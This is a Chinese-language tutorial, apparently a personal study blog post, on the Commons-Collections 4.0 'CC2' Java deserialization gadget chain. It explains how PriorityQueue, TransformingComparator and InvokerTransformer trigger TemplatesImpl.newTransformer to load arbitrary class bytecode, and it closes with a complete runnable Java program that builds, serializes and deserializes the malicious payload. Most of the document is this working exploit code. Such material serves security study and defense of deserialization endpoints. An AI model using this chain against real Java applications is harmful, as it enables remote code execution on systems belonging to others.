Java反序列化-Commons-Collections05-cc2链
前置
- jdk1.8.0_u65
- Commons-Collections 4.0
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
cc2 分析
其实和 cc4 大同小异,只是稍微变了一点。
cc4 还是用的 cc3 的命令执行方法:

但是 cc2 选择了:

直接用 InvokerTransformer 去调用 TemplatesImpl.newTransformer 方法
省略了 InstantiateTransformer.transform 以及 TrAXFilter.TrAXFilter
所以尾部还是和 cc4 一样,直接搬运:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass();
Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd");
Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes);
Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
我们不用 instantiateTransformer 和 transformer,直接用 InvokerTransformer 去调用 templates 的 newTransformer
1 2 3
| InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
|
因为这里 invokerTransformer.transform 是要通过 templates 调用,所以我们不能和 cc4用同样的反射修改 size 的方法
我们要传入 templates 对象,并且要满足 size=2
1 2
| priorityQueue.add(templates); priorityQueue.add(templates);
|
同时还有一个点需要注意:
1
| TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
|
如果我们这里直接调用 InvokerTransformer 的话,序列化的时候本地就会执行。
所以我们和 URLDNS 一样,先传入 ConstantTransformer(1)
然后 add 完成之后,再通过反射的方式把 invokerTransformer 对象传入进去。
1 2 3 4
| Class TransformingComparatorClass = TransformingComparator.class; Field transformField = TransformingComparatorClass.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator, invokerTransformer);
|
非常容易理解。
总结
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| package xekoner; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javafx.beans.binding.ObjectExpression; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class cc2Demo { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field _name = c.getDeclaredField("_name"); _name.setAccessible(true); _name.set(templates, "asd"); Field declaredField = c.getDeclaredField("_bytecodes"); declaredField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("H:\\0x0B_FUXIAN\\Java_class_tmp\\Test.class")); byte[][] codes = {code}; declaredField.set(templates, codes); Field declaredField1 = c.getDeclaredField("_tfactory"); declaredField1.setAccessible(true); declaredField1.set(templates, new TransformerFactoryImpl()); InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class TransformingComparatorClass = TransformingComparator.class; Field transformField = TransformingComparatorClass.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator, invokerTransformer); serialize(priorityQueue); unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos; oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws ClassNotFoundException, IOException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|